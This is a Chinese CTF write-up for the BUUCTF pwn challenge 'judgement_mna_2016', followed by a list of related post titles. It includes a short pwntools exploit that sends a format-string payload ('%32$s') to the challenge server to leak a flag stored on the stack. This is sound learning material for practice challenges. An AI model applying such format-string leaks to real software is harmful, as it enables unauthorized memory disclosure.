[BUUCTF-pwn]——judgement_mna_2016

还行的一道题, 不过动态调试的时候, 需要你手写一个flag.txt文件, 不然没办法动态调试.

一看就知道这个地方储存的flag,

如果不确定. 可以去看下start函数的汇编, 执行main函数前就已经将flag写入了
下面我们只需要计算偏移输出就好, 记得自己在目录下面写个flag.txt文件, 不然没办法调试的. 偏移0x1c 或者 0x20都可以

exploit

from pwn import *
#p = process('./judgement_mna_2016')
p = remote('node3.buuoj.cn',29011)
#gdb.attach(p, 'b *0x080487A2')
payload = '%32$s' # 28也可以
p.sendlineafter('Input flag >> ',payload)
p.interactive()

[BUUCTF-pwn]——judgement_mna_2016相关推荐

  1. [BUUCTF]PWN——judgement_mna_2016(32位fmt)

    judgement_mna_2016 例行检查,32位程序,开启了canary和nx 运行一下,看看大概的情况 32位ida载入 明显的格式化字符串漏洞,动调看一下输入点的位置,找一下flag在栈上的 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. netcdf4excel插件安装完出现问题
  2. mysql myisam存储引擎不能添加外键,添加后显示成功,实则失败
  3. 通用分页查询存储过程
  4. 零基础入门专利代理考试需要了解的,持续更新ing
  5. 在Mac OS X 通过抓包、“第三方下载工具”加速下载、安装APP或系统
  6. 21天学通C语言-学习笔记(8)
  7. CSDN信息无障碍知识库:为障碍者撑起一片蓝天
  8. Excel如何把同类数据合并到同一单元格
  9. 对话三星张代君:Bixby到底与Siri有什么不同?
  10. 入门深度学习?这里有5件你应该知道的事
  11. 1.mac解除端口占用
  12. 浅谈用友NC产品单点登录机制
  13. C语言中extern用法详解
  14. 什么是框架?常用框架有哪些?
  15. 大学物理实验之分光计调节和使用
  16. 博时金牛杯(三强)公开大赛
  17. mysql带外_【技术分享】MySQL带外攻击(含演示视频)
  18. 浙江省职业技能考试大纲计算机,最新修订浙江省高校招生职业技能考试大纲-计算机类...
  19. Android GNSS 模块分析(五)NMEA 协议
  20. 一维地震子波合成记录c语言,地震子波 数字信号实验报告

热门文章

  1. 京东商城确认购买jingdong.com域名
  2. linux进入命令是什么,linux进入目录的命令是什么
  3. Git之常用命令的综合使用和示例分析
  4. 2019年第十届蓝桥杯 - 省赛 - C/C++大学C组 - B. 矩形切割
  5. python函数每日一讲 - cmp(x,y)
  6. 阿里云服务器ssh连接经常断开
  7. 树莓派AI视觉云台——8、WiringPi库函数
  8. 征战蓝桥 —— 2016年第七届 —— C/C++A组第4题——快速排序
  9. Linux下多窗口分屏式终端--Terminator
  10. 【嵌入式】C语言中volatile关键字